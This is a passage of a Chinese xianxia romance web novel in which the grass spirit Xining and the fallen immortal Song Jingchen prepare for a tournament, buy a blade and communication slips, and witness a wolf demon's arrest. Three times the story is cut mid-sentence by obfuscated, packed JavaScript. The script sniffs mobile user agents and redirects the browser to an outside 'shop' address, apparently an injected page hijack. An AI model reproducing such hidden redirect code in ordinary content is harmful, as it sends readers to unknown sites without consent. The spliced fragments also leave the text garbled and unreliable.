l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468800|201363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁一见倾心。所以,宋景辰对溪止这名字倒是有几分印象。 只是…… 宋景辰抿了口茶,微微打量着眼前人。天玑宫的人此时找上熙宁,也不知是有什么阴谋。 “溪止仙君找我有什么事?”熙宁开口,她不认为上界的仙官来找她会有什么好事,毕竟虽然是同族,可终归现在是天上地下,怎么会有无缘无故的帮助呢,但她内心终归是有些渴望。 万一呢,万一这个和她同族的仙君愿意帮她一次呢? “我听说你的事情了,”溪止看着她,目光悲悯,“你天生没有根心,又被剥去了灵脉,这对你本就不公。那些对你动私刑的仙君已经受了罚,可说到底,再怎么罚他们,也缓解不了你的恨意。” “恨?”熙宁垂下眸,“可我对他们没有恨。” 如果可以,她现在只想好好活下去,因此而已。 溪止似乎早就料到她会这么说:“你天生没有根心,难以有正常人的情感,这很正常。” “你只需要记住,若是有人折辱你,甚至剥夺你活下去的权利,他们的行为不可挽回地危害到了你自己,或者只是让你不高兴了,”溪止放下杯盏,握住熙宁的手,一字一句说得很慢,“你便该恨他们。” 熙宁怔住了,从来没有人对她说过这样的话。 被剥去灵脉,命不久矣,她都以为这是她自己的命。 可如今面前的女子对她说,她该恨他们。 溪止没有再多说,只是递出一枚铜钱大小的扳指:“这是通过潜龙斗会预选赛的凭证,你若是还想活下去,明日卯时末便来对面的报名点。” 熙宁一愣:“你想让我参加潜龙斗会,可我……” “你没有根心,身上自然也就没有妖气,没有人会察觉。今日已经是预选赛,比武通过的人才能获得这个扳指,明日才有资格进入秘境。而我如今让你直接免去了预选赛,这是作为同族,我能给予你的唯一帮助。” 溪止重新戴上面纱,起身走至门口,脚步顿了顿:“熙宁,生路都是靠自己争取的,不是靠别人施舍的。还有,不是我想不想让你参加潜龙斗会,而是你自己想不想活下去。” 门被轻轻合上。 宋景辰放下茶盏,看着熙宁,她还低着头看那枚扳指。 “你打算怎么办?”他问。 熙宁没有立刻回答,她思索着溪止的话,随后终于拿起扳指,声音坚定:“宋仙君,我想试试。” 宋景辰盯着那枚扳指看了一会,他并不担心熙宁能赢得比赛,延长寿命。虽然参加比赛的都是刚入门的一阶修士,但如今的熙宁进秘境只是送死。 也不知道这位溪止仙君究竟在盘算什么。 他看着熙宁亮闪闪的眸子,只是点了点头,没有泼冷水:“好,那便试试。” 二人下了楼,离开酒楼,发现对面不知何时竖起了一块巨大的光幕。那光幕足有三丈高,上面密密麻麻排满了名字,每个名字后面都跟着一行数字。 熙宁走近,光幕最上面还写着两行大字: 【预选赛通过名单】 【赛前名次预测,仅供参考】 原来是预选赛的结果,比完一场就会重新更新名次。 光幕前已经围了不少人,通过的修士对着光幕指指点点,议论着自己的名次。 “你去试试。”宋景辰侧首看她。 熙宁模仿着其他人的样子,走上前去,扳指刚凑近光幕,便漾开一小圈涟漪,随后她的名字出现在了最末尾。 【熙宁,四百七十二】 在她名字上面,是常初岐,第四百七十一名。再往上,数字越来越小,名字密密麻麻地排上去,一直到最顶端:【亓官岁,一】 宋景辰走过来,在光幕上扫了一圈,最后落在最后一道名字上。 “你是最后一名。”他语气平淡,但内心还是希望熙宁可以放弃这场注定失败的比赛,免得临死前还要受苦。但他也不会真的开口劝,毕竟这是熙宁自己的事,结果好坏都是她自己选的。 熙宁没有在意名次的事,她只知道自己不想死,与其被动等待死亡,不如主动争取。她已经一无所有了,无论能争取到什么都是赚的,死也无憾。 “宋仙君,”想到这,她侧过头,笑看着宋景辰,“难道你没有看过人间的话本吗?” “什么?”宋景辰被她眼中的笑意一晃,心头微微一动。 都这样了,这傻草居然还笑得出来。 “落魄仙君逆袭第一步,”她道,“往往都是从不被看好开始。” 宋景辰怔了一瞬,他没有接话。眼前的人明明是最普通的打扮,没有显赫的背景和强大的灵力,此刻却偏偏让他有些移不开眼。 是啊,被看好又怎样,不被看好又怎样? 从小到大,他都是最被看好的那一个,如今不照样历劫失败,坠落在这人间。 光幕上的名字还在不断翻滚发亮,一转眼,熙宁后面的数字已经变成了四百八十三。 但宋景辰却忽然觉得,或许这株草,真的能走出一条谁都想不到的路来。 “走吧,已经晌午了,”他抬头看了看天,日头渐烈。 这不夜城的天气与阴晴不定的碧落川不同,常年都是炎炎夏日,晒得人愈发没精神。 “去云霄客栈找阿羬会合。”宋景辰重新牵起熙宁的手,离开了人群。 7. 落魄仙君逆袭第二步 两人沿着长街往东走,又接连拐过两条巷子,便到了云霄客栈。这客栈比不上听雨轩的气派,就只是一栋简简单单的平层房子,看样子只能开五六间客房。 熙宁心里犯嘀咕,宋仙君竟然会住这样的客栈,与他的财力还真是不符。但她也没表露出来,只跟着宋景辰往里走。 里面是一片开阔的庭院,假山流水,翠竹掩映,几条弯曲小径分别通往不同的方向。 二人沿着最中间的一条青石小路走去,路边的翠竹遮掩了大半的日光。只走了没几步,眼前又豁然开朗,一栋高楼层层叠叠地往上铺展开去,直冲云霄,竟一眼望不到头。 “原来这就是云霄客栈啊。”熙宁站在高楼前,头仰得极高,看傻了眼。 “这客栈外面设了障眼法,”宋景辰解释了一句,“走吧,带你进去看看。” 二人进了楼内,一楼中间立着一块圆形玉台,上面刻满了复杂的符文,隐隐有符光流转。玉台旁边站着两个小厮,见有人来,恭恭敬敬地行了一礼。 宋景辰踏上玉台,熙宁连忙跟上去。 “八楼。”宋景辰道。 两位小厮立马会意,在玉台边缘结阵,而后玉台上的符文亮起显眼的金光,从中心向外一圈圈扩散,一道结界包裹住玉台,隔绝了内外。 熙宁只觉脚下一轻,像是踩在云朵上般,整个人被一股力量托起着上升。转眼,她已经来到了八楼。 “这阵法好神奇。” 每一层的玉台都有两个小厮守着,熙宁不敢露怯,等到走远了她才小声地说起。 “这是传送阵,楼太高,走楼梯太慢,通过阵法可以直达任意一层。”宋景辰道。 熙宁点点头,她简直不敢相信,外面的世界已经发展成这样了。她一直以为传送阵只能传送到较远的地方,没想到现在起点和终点离这么近,都能精准传送。 熙宁转头看宋景辰,“宋仙君懂得真多。” “不过是最基础的阵法罢了。”宋景辰漫不经心道,随后推开面前的客房门。 阿羬正端坐在桌边,见门推开,她便站了起来,笑着迎向自己的主人。 宋景辰伸手摸了摸她的头顶,随后示意她可以坐下,熙宁见状不禁疑惑:“她不会说话吗?” “灵兽都不会说话,也没有人的情感,只有在主人飞升后,才能有化成人形的能力。” “这样啊。”熙宁闻言,更加不敢靠近阿羬了。没有人的情感,那不就意味着只有身为羊的天性了嘛? 她小心翼翼地坐在了宋景辰的身边,阿羬则在她对面。 桌子上已经摆满了饭菜,但没有人动筷。宋景辰侧过身,看向熙宁:“你既然决定要参加潜龙斗会,那便要清楚该怎么伪装成一个人族修士。” 熙宁坐直了身子,她之前靠着那滴仙酒飞升,自己连草木族该怎么修炼都不大清楚,更何况人族的修炼方式。 “人族与妖族不同,妖族有妖丹,可以在体内容纳运转妖力。人族体内没有这样的东西,他们需要借助外力,也就是本命器。” “本命器?就相当于你的那把剑?” “没错,凡是能承载人之神识者,皆可为器。修士需将自身神识与器相连,元力便寄于其中,用时催动,不用时收回。一旦本命器断裂,修为当即溃散,多年苦修便毁于一旦。 此次比赛皆是一境修士,仍处于配器阶段。他们中的大多数都在打基础,以凡器习练招式,严格来说这还不算修炼,更接近于练武。理论上,配器的时间越长,后面的修炼便会越顺利,但实际上往往取决于修士自身的天资。” 宋景辰看着熙宁,直截了当:“所以现在,你需要一把本命器。虽然你身为妖族,不可能配器成功,但至少可以先掩人耳目。” 熙宁认同地点点头,开始思索着自己应该选什么武器。 “你也不必认真,只是一个幌子罢了,明日比赛就开始了,你想要什么配器,我都可以买给你。” 宋景辰又看了一眼面前没有动过的饭菜,他和阿羬都不需要吃饭,“你怎么不吃,不喜欢这些饭菜吗?” 熙宁摇了摇头:“小草是不需要吃饭的。” 小草只需要晒晒太阳,喝喝露水就好了。 熙宁说着起身走到窗边,阳光洒进来,暖洋洋的。从这看过去,她正好可以看见客栈后面的一条街,小贩的叫卖声和路人的交谈声混在一起,此起彼伏。 她的目光忽然被一个简陋的摊位吸引住。 一个少年蹲在地上,嘴里还吊儿郎当地叼着一根狗尾巴草。面前铺着一块旧布,上面零零散散地摆着几把刀。旁边站着一个和他年龄相仿的姑娘,瞧着像是他的妹妹,正吆喝着人来买刀。 熙宁看了好一会,忽然转过头:“宋仙君,我想好了。” “嗯?” “落魄仙君逆袭第二步,”她拉长语调,“自然是从拥有一把好刀开始。” 说完,她一把拉起宋景辰就往外走,阿羬也连忙跟了出去,以至于客房门没能被关上,虚掩着。 没过多久,门被推开一条缝,一个布衣少年探出头,四下看了看,确定里面没人这才闪身溜了进来。 他看着十七八岁,衣衫破旧,领口被洗得发白,脸上还沾着灰,应当是风尘仆仆赶了许久的路。 “不能浪费。”他小声嘀咕了一句,然后直接用手抓起饭菜,狼吞虎咽了起来。 吃饱后,他靠在椅子上,长长地呼了一口气,满足地摸了摸自己的肚子。随后他又回过神,慌忙跳起来,用袖子把桌子上洒的汤汁胡乱擦了擦,把盘子摆整齐。 溜到门口时,他回头看了一眼吃得差不多的饭菜,忽然有些愧疚。 “对不起,我会付钱的……”他拉开门,确认外面没有人,直接一溜烟跑没影了。 * “哥!”常初停止了吆喝,转头看见一脸懒散的常岐。本来刀卖不出去就憋着一股火,现在更是火上浇油。 她三步并两步上前将常岐叼着的狗尾巴草抽出来,没好气道,“刀卖不出去,你也不想想办法,就知道干看着。” “做生意要有耐心,”常岐边从兜里掏出三枚铜钱往地上抛着,边道,“再说了,昨夜打赌都说好了,输的人要任凭赢的人差遣一个月,小初,你可要愿赌服输。” 提到昨晚的打赌,常初更是来气。她和常岐是从北境无忧山一路向南,于昨天下午到达了碧落川。结果天气骤变,又是下大雨又是下大雪的,他们便只好躲进萧王府后院,打算先歇歇脚。 谁知刚踏进后院,她远远就瞧见了地上躺着一个半死不活的姑娘。出于小蜘蛛善良的本性,她用蛛网给那姑娘的小伤口止了血,伤口很快便愈合了。 原本她还想将人搬进屋内的,但是常岐察觉到有其他的人靠近,便拉着她先离开了。 等到了入夜,那半死不活的姑娘没了踪迹,屋里只有一个闭目养神的少年。 他们为了不被发现,便变成小蜘蛛的原形,悄摸地爬进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468801|201363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了屋内。 到这里,一切都还正常。偏偏常岐突发奇想,要和她比赛打赌,说输了人就要任凭对方差遣一个月。 常初思索了一番:“好,那就比织网,怎么样?” 论起织网,质量和美观常初通通做不到,但是她胜在织网快啊。 “行,织网就织网,”常岐悬在房梁上,指了指墙角的一棵小草,“就以那棵草所在的墙角为终点吧,看谁织得快。” 两个人二话不说,便开始织起网来。常初远远领先,眼瞅着离那小草越来越近,结果那闭目养神的少年走了过来,随手给她弹飞了。 “别让我再看见那个人,否则我一定砍死他!”常初越想越气,但也只好愿赌服输。 她低头看了一眼常岐抛在地上的铜钱,凑过去问,“怎么样,我们今天能卖几把刀?” 常岐慢条斯理地捡起地上的铜钱,撑着膝盖站起身:“一把。” “一把!” 常初顿时没了动力,天知道他们可是花了整整一百两才从一个穷修士那里买到了预选赛的扳指。现在他们才付了四十两,还差六十两没给呢。 “小初,你可以去砍人了。” “什么?”常初被常岐这莫名其妙的一句话搞懵了,她顺着常岐的视线朝身后看去,竟然看见了昨天的姑娘,身后竟然还跟着那个讨厌鬼。 只是不等常初有所动作,那两人便已经来到了摊前。 “老板,这把刀怎么卖?”熙宁随便拣了一把刀。 常岐刚要回答,便被一旁的常初抢了先:“一百两银子。” 她改主意了,胡乱砍人这种事只有盲獠会做,她这样善良的小蜘蛛是不会做的。只要能给她一百两,那昨天种种她都可以不计较啦。 “一百两?”熙宁特意选了一个最破烂的摊,没想到这刀却这么贵。 “姑娘,这一百两确实是贵了些,但是我们的目光可要放长远些啊,你应该是来参加潜龙斗会的吧?”常初走到摊前,一把挽住了熙宁的手,“这把刀叫斩龙刀,你带着它还愁赢不了潜龙斗会吗?” “行,就它了。”宋景辰站在后头,抛给常岐一根金条,将那把“斩龙刀”收进乾坤袋,便带着熙宁走了。 常初目瞪口呆,好久反应过来,忙拿过常岐手中的金条翻来覆去看了看,然后望着讨厌鬼的背影,咬了咬牙:“要少了。” “行了,知足吧,收摊回去了。”常岐将三枚铜钱塞好,又拿过金条,嘴角微挑,还真是和他算出来的一模一样。 这边,熙宁仍在喋喋不休:“宋仙君,这刀我们肯定买亏了,咱们虽然有钱,但也不能这么花啊。” “行了,本仙君最不缺的就是钱,”宋景辰被吵得有些烦,“还有,别再叫我宋仙君了,这里全是人族修士,还有一些仙官,我是历劫失败下来的,可不想被人认出来。” 昔日的天才剑修,竟然跌落到了下界,就连本命器都碎了,宋景辰不敢想要是有人知道此事,会如何笑话他。 这也是为什么这一个月,他都没有联系凡间的宗门,只和阿羬两个人偷偷地收集碎片。就他现在这副狼狈样子,可不想被人看见。 只要他能修补好本命器,重新飞升就好了,而唯一见过他的熙宁到时候也已经死了,没人会知道他历劫失败的事。 “那我叫你什么?” 宋景辰好好想了想,“就以师兄妹相称,若是有人问起,便说我们的师父是一个不知名的散修,没人会深究的。” 8. 落魄仙君逆袭第三步 “归一阁?”熙宁站在一家看起来很是富丽堂皇的店铺前,侧身问道,“你带我来这干什么?” “落魄仙君逆袭第三步,”宋景辰学着她之前的样子,“自然是从拥有灵笺开始。” 灵笺? 熙宁在碧落川时听歪脖子树说过,后来到了仙界也见旁人用过。这灵笺和人摊开的手掌差不多大,厚度和竹简差不多,可以用来通讯。但熙宁没钱,所以不用这玩意。 “你应当没有灵笺吧?”宋景辰问道,他自己的灵笺早就在飞升的时候被天道劈没了,一直到现在也没有买新的,“正好我们一起买一个。” 熙宁:“你也没灵笺?” “我那是不喜欢交朋友,又没什么要联系的人,要灵笺干什么?”宋景辰道,“现在不是有你吗,等你进了秘境,我们也好联系。” 熙宁觉得他说得在理,毕竟这位宋仙君看起来确实没有什么朋友,都历劫失败这么久了,也不见有其他仙君来寻他。等她明日进了秘境,宋仙君一个人和不会说话的阿羬呆在客栈,简直不要太孤独。 宋景辰带着熙宁进店,秉持着最贵的就是最好的原则,也没有怎么挑选,大手一挥买了两个最贵的灵笺。 而阿羬站在一旁摸了摸摆放在台面上的灵笺,只觉得这笺面上一闪一闪的亮光很稀奇,一时玩入了迷,直到主人回头交她的名字,这才反应过来该走了。 三人回到云霄客栈,又多开了一间客房,宋景辰将斩龙刀和刀鞘都给了熙宁,又嘱咐了几句,让熙宁好好休息一番,便带着阿羬进了自己的房间。 熙宁的注意力已经全都放在灵笺上了,只是敷衍地应了几句,看着宋景辰走远,便赶紧关门躺在床上玩了起来。 灵笺的使用根本不用自己学,只要是购买灵笺的人,店家都会用术法将基础的使用方法移入到买家脑海中。 熙宁先是打开好友笺面,上面只有宋景辰一个人,且名字是灰色,这意味着对方现在并没有在用灵笺。但熙宁想试试发消息,想了半天,她在笺面上写下了几个字。 【师兄,睡了吗?】 消息一下子传了上去,熙宁也没指望宋景辰会回,便退出了好友笺面,反手点开公用的笺面。 所谓公用,也就是所有接入天网的灵笺使用者,都可以在这个笺面上发送当前地区所有人可见的消息。这些消息被称为笺贴,设立的初衷就是为了让大家可以互相答疑解惑,督促彼此进步。 当然,仙界和下界的消息是绝对不互通的。 熙宁在上面划动了一会,发现只有少数人在认真问问题,大部分人都在上面发疯。 【修炼好难,我什么时候才能突破一境,好想组团偷走修仙天才的脑子】 【那些天赋极高,又有家世背景的人能不能自己一个笺面,我一个穷人看着难受】 【父母非要让我回去继承家产,但师父说我天赋极高,继续修炼肯定大有前途,我该怎么选?对了,大家一定不要回答这个问题,因为是我编的】 熙宁觉得这比歪脖子讲的故事有趣多了,不知不觉就翻了好几页,也没注意到天快黑了。她看得正入神,笺面上方突然泛起光亮,熙宁点进去发现是宋景辰回消息了。 【你发消息的时候才下午】 【问着玩的】 熙宁对着笺面傻笑了一下,然后又写下几个字。 【你一个下午没看灵笺吗?】 【嗯】 熙宁撇了撇嘴:“真冷漠,多发几个字又不收钱。” 对面似乎听到了她的抱怨,过了一会又发来一条消息。 【早点休息,不要贪玩,明天要起早】 【知道】 见对方无话,熙宁退出了好友笺面,再次看起了公共的笺面,其中有一条笺贴吸引了她的注意。 【潜龙斗会的秘境可有前辈去过,里面有几分凶险,本人修为尚浅,只想混一个参赛的经历,不想丢了性命】 下面已有几条回复。 【潜龙斗会的秘境每次都不一样,都是仙官随便找一处荒山,然后比赛前一天才将其布置成秘境的样子,基本没人能提前知道在哪】 【进了秘境,生死自负,若是不为争胜,遇到危险就捏碎扳指,便可弃赛。切勿逞强,为此丢了性命不值当】 【没错,但记得捏碎扳指要尽早,否则等到被里面的猛兽打得命悬一线,都没力气去捏碎扳指】 熙宁认真看过去,觉得大家说得很有道理,明日她量力而行就好了,就算没赢,那她也争取过了,没有遗憾。 熙宁在心里给自己打了一会气,抬头惊讶地看见窗外的天已经黑了:“我竟然玩这么久了,灵笺真是害人!” 她嘀咕了一句,然后继续低头划动笺面。 * 夜色渐深,溪止和另一位同僚李玉蓝终于将秘境布置完成。李玉蓝拍了拍身上沾到的幻灵花粉,看向一旁的溪止:“溪止,你今天见到那小草精了?” 溪止自动忽略她称呼的不当和蔑视:“见到了,不过……” “不过怎么了?”李玉蓝果然好奇了起来,忙凑过来问道。 “她身边有一个男子,我看不出他的底细,但是我能感觉到他身上的灵力,应当是仙界之人。” 李玉蓝皱了皱眉头:“连你都看不出底细,难不成,他是私逃下界的罪仙!” 溪止没有说话,只是笑了笑,但这一举动落在李玉蓝眼里就是肯定的意思,她顿时来了精神:“竟然让我找到这罪仙了。” 李玉蓝和溪止一样,是神使司的七品录事卫,此次被派到下界清衡司做轮值仙官,这轮值仙官一个月一换,她们这才刚刚开始。 按理说罪仙的事录事卫也管不着,但李玉蓝的未婚夫成元青是六品缉事卫,专门负责处理各类命案,追缉在逃罪仙的。 “我得赶紧把这罪仙的下落告诉元青。”李玉蓝道,最近元青对她的态度忽冷忽热,若是此次能助他立功,元青定然对她刮目相看。 溪止看着李玉蓝火急火燎地回了上界,全程没有说一句话。按照规定,派往下界的轮值仙官在任职期间不可私自离开下界,但李玉蓝是扶山宫少宫主,自然不把规定放在眼里。 至于她自己…… 溪止拿起灵笺,上面是明祁发来的消息。 【结束了吗?】 【快到了】 溪止面无表情地写下几个字,随后收起灵笺,转身回了上界。 天玑宫内的宫灯都已经灭了,唯有枇杷小院最角落的房内还燃着一盏火烛。 昏暗的烛光照亮了溪止的半张脸,她刚清洗完,长发还湿漉漉地垂在肩头。 她拢了拢松垮垮的外衣,躺在塌上,而明祁则半跪在塌前用术法给她烘着头发。 “今日任职可还顺利?” “还行。”溪止闭着眼,声音有些沙哑,带着丝倦意。 明祁没再说话,他派出去跟踪的人都被溪止甩开了,但他不敢多问。毕竟溪止今晚愿意回来,那就是已经原谅他了,不会追究的。 许久,溪止睁开眼,饶有兴致地坐起身,“阿祁,你知道我今日遇见谁了?” 明祁看着微湿的发丝从自己掌中滑落,有些不悦。他没有立即答话,默默坐上塌,将溪止的长发重新拢进掌心,继续烘干。 “还能遇见谁,不过就是神使司那帮人罢了。”他垂着眼,语气淡淡的。 溪止:“不是。” “你还认识其他人?”明祁的手一顿。 溪止忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468802|201363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住笑了一声,转过身,两条手臂软软地圈上他的脖颈,声音依旧沙哑,但尾音却微微上扬:“你想什么呢,我是遇见了我的同族了。” 明祁抬眸,微微一愣,很明显他想不出是谁。 “就是那个被你宫中仙君私自除去灵脉的熙宁,”溪止圈在他颈后的手指轻轻收拢,指尖摩挲着他的耳垂。她歪着头看他,眼底映着摇曳的烛光,让人看不清情绪,“我们的明祁宫主,这么快就把那个卑贱的草精给忘了呀。” “阿止,我没有,是我管理不当,才让那些人伤害了你的同族,我已经罚了他们了。”明祁不敢回抱她,只是连忙解释,掌心还拢着那把已经干了的长发。 “嗯,我知道。”溪止应得漫不经心,“我没有要怪你的意思,但我心中过意不去,便助她参加了潜龙斗会,希望她有足够好的运气,可以活下去。” 明祁没说话,但眼中却满是鄙夷,溪止自然也察觉了。 她很不喜欢明祁这样,在她面前竟然连伪装都做不好,她假装没看见:“你可别小瞧她,我今日可都看过了,她呀,已经通了地脉了。” 闻言,明祁先是一愣,随后微微皱眉:“怎么可能?” 妖族修炼需打通三脉五窍,而草木一族天生只能通半脉,也就是一半的地脉。也正是因为如此,草木一族一生都只能被困在出生之地,无法继续修炼。 当年溪止是直接将地脉从地底拔出,九死一生才有如今的造化,许多草木精也效仿过,但都以根死命消告终。 如今熙宁却成为了第二个通了地脉的人,这岂不是意味着她很有天分,若是日后她真的能重返仙界,得知真相,岂不是一大隐患。 溪止见明祁神情紧张,她松开手,转而捧住他的脸:“怎么啦,是不是也被那丫头的天赋惊到了,我们草木一族也算是后继有人了。” 明祁扯出一抹笑,握住溪止的手:“你啊,我当然也希望那熙宁会转危为安,这毕竟也是我们天玑宫有错在先。” 溪止也笑了笑:“阿祁,你头发烘好了吗?” “嗯。”明祁收回思绪。 “那便睡吧,明日我还要去开启秘境呢,这事可不能耽误。”溪止躺了下来,背对着他,声音闷闷的,似乎是困极了。 随后烛火晃了晃,灭了。 黑暗中,明祁坐在塌边,一动不动。过了很久,他才慢慢俯下身,手臂小心翼翼地环过去,不敢抱太紧。 “好。”他低声说。 明天的事确实不可耽误。 * 熙宁躺在床上,揉了揉有些酸涩的眼睛,翻了个身,找个舒服的姿势继续玩着灵笺。 就这一个晚上,她已经在公用的笺面上加了好几个笺友了,现在好友笺面上不再只有宋景辰一个人。 笺面上光芒一闪,是一个叫常初岐的人发来了消息。 【明天咱们可以组队,两个人力量大些,至少可以多苟一苟】 熙宁迅速回了一个好。 这个叫常初岐的人,她记得,就是那个不管预测排名怎么变化,都是倒数第二的人。 熙宁觉得很有缘,因为她也一直都是倒数第一。更何况,既然排在了倒数第二,就说明这人实力不咋样,肯定察觉不出她的身份,是个很好的组队的选择。 “哎呀,我可真是太聪明了。”熙宁美滋滋地在被窝了打了一个滚,虽然比赛还没开始,但她对自己很有信心。 这时,一旁的灵笺又闪了一下。 熙宁以为是对方回消息了,连忙拿起来一看,是宋景辰的,只有两个字。 【睡觉】 “他怎么还没睡,难不成一直在监督我?”熙宁顿觉一阵后背发凉,连忙将灵笺扔到一旁,整个人埋到被子里,睡了。 9. 千丝线 宋景辰原本是睡着了的,只是因为他做了一个梦,梦中的事太过离奇,给他吓醒了。 他是泰清一百一十二年,冬月初六,也就是他的生辰之日飞升的。 方才梦中的情形与那日的天光别无二致。 罡风猎猎,他一身红衣立于上清宫之上,头顶乌云翻涌,雷声轰隆作响,仿佛要将整片天穹都劈下来一般。方圆百里的仙君都远远退开,无人敢靠近那近乎要毁天灭地的威压。 这是他的飞升之劫。 此刻,八十一道玄雷已过,鲜血将红衣染透,他手握不染立于云层之间,一道金光将其笼罩,转眼间他已置身于一片混沌之中。 “宋景辰,”一道苍茫雄厚的声音自四面传来,是天道在问他,“你的道是什么?” “无欲无求,不滞于物。” 他缓缓抬起头,这是自他踏入修仙之路起,师父便告诉他的法则。世间万物皆为外物,唯有专注自身才是根本,不为情所困,不为物所役。 天道沉默了一瞬,随后一道玄雷降下,宋景辰手中的不染瞬间碎裂。 “这不是你的道。” “不,这就是我的道,”他没去管碎裂的本命器,而是擦去嘴角的鲜血,直视着前方,一遍遍地重复着,“这就是我的道。” “宋仙君。”一道熟悉的声音打断了他,宋景辰下意识回头,整个人僵在了原地。 熙宁站在他的身后。 她穿着同他一样的红衣,长发披散着,眼框通红,正一步步朝他走来,仿佛受了天大的委屈。 “宋仙君,你都亲过我了,怎么还能修无情道!”宋景辰浑身一颤,还没来得及开口,熙宁已经一把攥住他的手,她仰头看他,泪珠从眼角滑过,“你个负心汉,无情无义的骗子!” 宋景辰想解释,可他的嘴却仿佛被什么粘住了,根本张不开。 二人拉扯间,四周不知何时暗淡了下来,乌云又黑压压地聚集在了头顶,雷光在云层中隐隐翻涌。 天道再次开口:“道心不稳,当罚。” 轰隆—— 天雷落下,宋景辰猛地睁开眼睛。 月光从窗隙中透进来,照在屋内,阿羬正熟睡在墙角。 原来是做梦,幸好,幸好是做梦。 宋景辰松了一口气,他捂嘴咳嗽了几声,随即又想起自己现在病弱的身体。 刚才到底在幸好什么,不管是梦里还是现实,他都是真的历劫失败了。 宋景辰坐在黑暗中沉默了片刻,随后抬起指尖触上了自己的唇,今早的情形又在他脑海中重现了一遍。 他闭了闭眼,翻身下榻,外衣也没披,直奔熙宁的客房。 熙宁也还没睡,门缝中透出微弱的光亮,还隐隐约约能听见里面窸窣的声响,似乎是在被窝里翻来覆去。 难不成她同他一样难眠? 也是,毕竟发生了这样的事,熙宁虽然表现得无知,说不定内心也是慌乱的,只是在硬撑罢了。 想到这里,宋景辰上前一步,侧耳细听,然后他听见了一声傻笑。 “嘿嘿……” 他的脸顿时黑了下来,走廊上的夜风吹起他单薄的衣裳,整个人在月光下显得有几分萧索。 没心没肺的小草,笑得这么开心,显然是在玩灵笺。 宋景辰深吸一口气,他不知道自己半夜三更跑到别人门口要干什么,真是不成样子。 他面无表情地转过身,靠在走廊的窗台上,拿出灵笺,给熙宁发去了两个字。 【睡觉】 发出去之后,他又站着吹了会冷风,然后由于没穿外衣实在太冷了,这才赶紧收起灵笺回去。 屋中的阿羬被他的动静吵醒,他只看了一眼,非常多余地解释了四个字:“赏月去了。” 这边,熙宁的原身是一株在普通不过的野草,此刻嵌在窗台缝隙中,随着晚风摇晃,睡得天昏地暗。 而床上的灵笺幽幽亮起了微光,是常初岐发来的回复。 【明日寅时,报名点见,不见不散】 * 熙宁是被门口的议论声吵醒的,她从窗台上爬下来,看了眼时间,才寅时末,离秘境开启还有段时间。 她随后吸了吸鼻涕,不明白自己只是睡了一觉怎么感觉有些感冒了。 可小草也会感冒吗,她没有再去细想,因为门外的动静实在太大了,她没去看床上的灵笺,径直往门口走去。 一开门,熙宁就看见隔壁的客房里里外外围满了人,他们都在往里屋张望着,熙宁也凑过去看了看。 这一看不得了。 隔壁客房竟然死了人。 几个手带乌木念珠的清山者早已守在门口,熙宁左右打听了一番,这案子倒也破得快,是一只小狼妖干的。 据说修炼遇到阻碍、难以继续精进的人族修士和妖族修士可以缔结血契,以此突破修为。 这狼妖便与位人族修士缔结了此契,而这人族修士不知从何处寻得的方法,竟将血契变换成了兽契,狼妖成为了他的从兽。 一朝变成奴仆,狼妖自然不堪受辱,趁其不备将人咬死了,而后一直躲在房梁上,未曾逃走。 熙宁对修炼之事听得云里雾里,但她明白了这妖狼才是受害者。 正想着,两位清山者押着一个少年走了出来。 少年看起来不过十七八岁的模样,身形消瘦,衣衫也破旧得不成样子,袖口和裤脚都微微卷起,露出里面细瘦的手腕和脚踝。 他双手被乌木念珠缚在身后,两名清山者一左一右押着他。他低着头,散乱的头发垂在脸侧,遮去了他的大半张脸。 少年被押着从熙宁面前经过。 熙宁心想这就是那只狼妖了,她抬头看了他一眼,发现他也在盯着她。 熙宁一惊,后退半步,那少年却忽然暴起,挣脱了束缚,整个人朝熙宁扑来。 人群四下散开,熙宁被扑倒在地,眼前一阵发黑。少年压在她身上,一只手护着她的后脑勺,一只手握着她的手腕。 熙宁瞪大眼睛,看见少年已经俯下身来,露出尖锐的獠牙,朝着她的脖颈就要狠狠咬下。 “放肆!”一道冷喝声炸开。 乌木念珠腾空而去,两名清山者同时出手,将人从熙宁身上扯开。 “畜生,还敢伤人。”一名清山者骂道,用两道乌木念珠将其狠狠禁锢。 熙宁站起身,大口喘着气,看着少年被拖拽着往外走去,渐渐消失在走廊转角。她没再去看周围人的反应,慌慌张张地转身回了房间。 她背靠在房门上,低头看向自己的右手,掌心里躺着一枚龙眼大小的珠子,晶莹剔透的,看不出材质。珠子内部嵌着数不清的丝线,密密麻麻地缠绕在一起,幽幽地泛着银白色的光。 这是方才的少年塞给她的。 他露出獠牙,做出要咬她的姿态,就是为了将清山者的注意力都引向他要攻击的动作上,从而顺理成章地将珠子塞给她。 而他在被扯开前,用只有彼此才能听见的声音说了两个字:“饭钱。” 熙宁攥紧珠子,她没能明白少年的意思。 饭钱? 他是在拿这个珠子抵饭钱吗? 可她什么时候给过那狼妖饭钱,她自己都穷得不行,要不是救了一个超有钱的仙君,她现在估计只能风餐露宿了。 其实熙宁之前也是有些盘缠和衣物的,只不过那些天玑宫的人只将她扔下了界,行李却永远留在了天上。 